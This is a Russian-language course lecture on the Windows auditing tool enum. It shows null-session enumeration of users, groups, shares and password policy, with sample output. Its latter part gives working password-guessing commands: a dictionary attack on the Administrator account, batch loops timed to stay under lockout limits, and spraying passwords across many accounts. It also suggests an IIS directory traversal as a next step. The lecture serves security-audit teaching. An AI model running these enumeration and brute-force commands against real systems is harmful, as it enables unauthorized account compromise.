Опубликован: 20.02.2007 | Доступ: свободный | Студентов: 3483 / 787 | Оценка: 4.42 / 4.03 | Длительность: 40:03:00
Лекция 7:

Средства ревизии Windows

ENUM

Enum получает от исследуемых Windows NT-, 2000- или XP-систем информацию о пользователях, группах, общих ресурсах и базовую системную информацию. Один из главных аспектов enum состоит в том, что он поставляется в исходных кодах. Так что если вы обнаружите сбои в работе, вы можете воспользоваться собственной копией книжки Строустропа по C++ и открыть enum.cpp в редакторе vi. Файл доступен по адресу http://razor.bindview.com/tools/desc/enum_readme.html.

Реализация

Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.

C:\>enum.exe
usage:  enum.exe    [switches]  [hostname|ip]
-U: get userlist
-M: get machine list
-N: get namelist dump (different from -U|-M)
-S: get sharelist
-P: get password policy information
-G: get group and member list
-L: get LSA policy information
-D: dictionary crack, needs -u and -f
-d: be detailed, applies to -U and -S
-c: don't cancel sessions
-u: specify username to use (default "")
-p: specify password to use (default "")
-f: specify dictfile to use (wants -D)

Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу IPC$ через 139 или 445 порт. По умолчанию программа создает соединение с использованием NULL-ресурса - обычно это анонимный пользователь. Вы можете задать одновременно все шесть параметров, но мы сделаем это по отдельности, чтобы получить удобочитаемую выходную информацию.

C:\>enum -UPG 192.168.0.139
server: 192.168.0.139
setting up session... success.
password policy:
    min length: none
    min age: none
    max age: 42 days
    lockout threshold: none
    lockout duration: 30 mins
    lockout reset: 30 mins
getting user list (pass 1, index 0)... success, got 5.
    Administrator Guest IUSR_ALPHA IWAM_ALPHA
    TsInternetUser
Group: Administrators
ALPHA\Administrator
Group: Guests
ALPHA\Guest
ALPHA\TsInternetUser
ALPHA\IUSR_ALPHA
ALPHA\IWAM_ALPHA
Group: Power Users
cleaning up... success.

Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) ( IUSR_ALPHA, IWAM_ALPHA ) и Terminal Services ( TsInternetUser ).

Воспользуемся параметрами -MNS для получения сведений, относящихся к серверу.

C:\>enum.exe -MNS 66.192.0.139
server: 66.192.0.139
setting up session... success.
getting namelist (pass 1)... got 5, 0 left:
    Administrator Guest IUSR_ALPHA IWAM_ALPHA
    TsInternetUser
enumerating shares (pass 1)... got 3 shares, 0 left:
    IPC$ ADMIN$ C$
getting machine list (pass 1, index 0)... success, got 0.
cleaning up... success.

Параметры позволили получить список пользователей, но мы также обнаружили общие файловые ресурсы. В данном случае присутствуют только ресурсы по умолчанию; однако мы можем предположить, что система имеет только один жесткий диск: C$. Помните, что здесь также установлен IIS. Из этого следует, что корневая директория для хранения Web-документов размещается на том же устройстве, что и директория C:\Winnt\System32. Это великолепная комбинация для использования некоторых особенностей IIS, например, такой, как ошибка в обходе директории Unicode.

Используем параметр -L для получения информации о Local Security Authority (LSA). Эта команда возвращает данные о системе и соответствующем домене.

C:\>enum.exe -L 66.192.0.139
server: 66.192.0.139
setting up session... success.
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
    netbios: ALPHA
    domain: MOONBASE
quota:
    paged pool limit: 33554432
    nonpaged pool limit: 1048576
    min work set size: 65536
    max work set size: 251658240
    pagefile limit: 0
    time limit: 0
trusted domains:
    indeterminate
netlogon done by a PDC server
cleaning up... success.

Теперь мы знаем, что имя системы ALPHA, и она относится к домену MOONBASE.

Зачастую вы можете обнаружить, что пользователь Administrator не имеет пароля на вход. Это случается, когда администратор проскакивает процесс инсталляции и забывает установить сложный пароль, или когда администратор предполагает, что пароль для входа с полномочиями администратора достаточно сложен. Используйте параметры -U и -p для получения информации о конкретном пользователе.

C:\>enum -UMNSPGL -u administrator -p "" 192.168.0.184
Совет. Многие организации переименовывают пользовательский профиль Administrator и называют администратором гостевой профиль ( Guest ). Неопытные взломщики, которые не могут найти правильного административного профиля, могут просто потерять время даром. Обратите внимание на число -500 в значении идентификатора пользователя SID.

Пример из жизни. Угадай пароль!

Возможности для задания имени пользователя и пароля enum представляют собой элементарное средство для подбора паролей и, кроме того, включают опцию -f, что еще более упрощает ситуацию. Опция -P возвращает информацию об алгоритме пароля цели. Сюда входит период блокировки и число неправильных логинов до того, как Windows заблокирует системный пользовательский профиль. Вы должны всегда узнать это прежде, чем пытаться взломать пользовательский профиль.

C:\enum -P 192.168.0.36
server: 192.168.0.36
setting up session... success.
password policy:
    min length: 7
    min age: 2 days
    max age: 42 days
    lockout threshold: 5
    lockout duration: 30 mins
    lockout reset: 30 mins
    cleaning up... success.

Воспользуйтесь этой информацией, чтобы настроить взлом перебором.

Заметьте, что, по определению, пользовательский профиль администратора не может быть заблокирован попытками неправильного ввода пароля. Воспользуйтесь средством passprop/adminlockout из Resource Kit, если хотите применить практику блокировки доступа к администратору. Если блокировка пользовательского профиля не применена, то тест очень прост; присоедините словарь к цели. В этом примере никакие пароли не могут быть короче 7 знаков (хотя администратор всегда может установить произвольный пароль), следовательно, вам придется удалить слова из 6 букв из своего словаря.

Выберите пользовательский профиль для взлома, настройте свой любимый файл со словарем и спускайте с привязи enum.

C:\enum -D -u Administrator -f dict.txt

Так запускается достаточно быстрая атака на пользовательский профиль администратора. Если вы пытаетесь взломать чей-либо пользовательский профиль, вам придется уделить больше внимания ограничениям по числу попыток. Подход, который работает в пределах 5 неправильных логинов, и период в 30 минут требует применения средств Cygwin или Resource Kit (для функции режима ожидания).

C:\for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36
 output.txt && sleep 180s

Заметно, что практика блокировки серьезно влияет на использование подбора пароля. Однако мы можем сменить нашу методологию, нацелившись сразу на нескольких пользовательских профилей, чтобы ускорить процесс. Воспользуйтесь опцией -G, чтобы идентифицировать пользователей из группы администратора или любой другой группы, на которую вы хотите нацелиться.

C:\enum -G 192.168.0.36

Затем снова примените перебор к обоим пользовательским профилям. Поместите имена пользовательских профилей в файл под названием users.txt. Если вам надо протестировать довольно большую пользовательскую базу, то не стоит беспокоиться о блокировке пользовательского профиля.

C:\for /F %%p in (dict.txt) do for /F %%u in (users.txt) do 
enum -u
%%u -p %%p -M 192.168.0.36 output.txt

При использовании этой техники файл users.txt должен быть большим, а файл pass.txt маленьким. Она отыскивает пользовательские профили с простыми паролями, такими как password, changeme или pass123.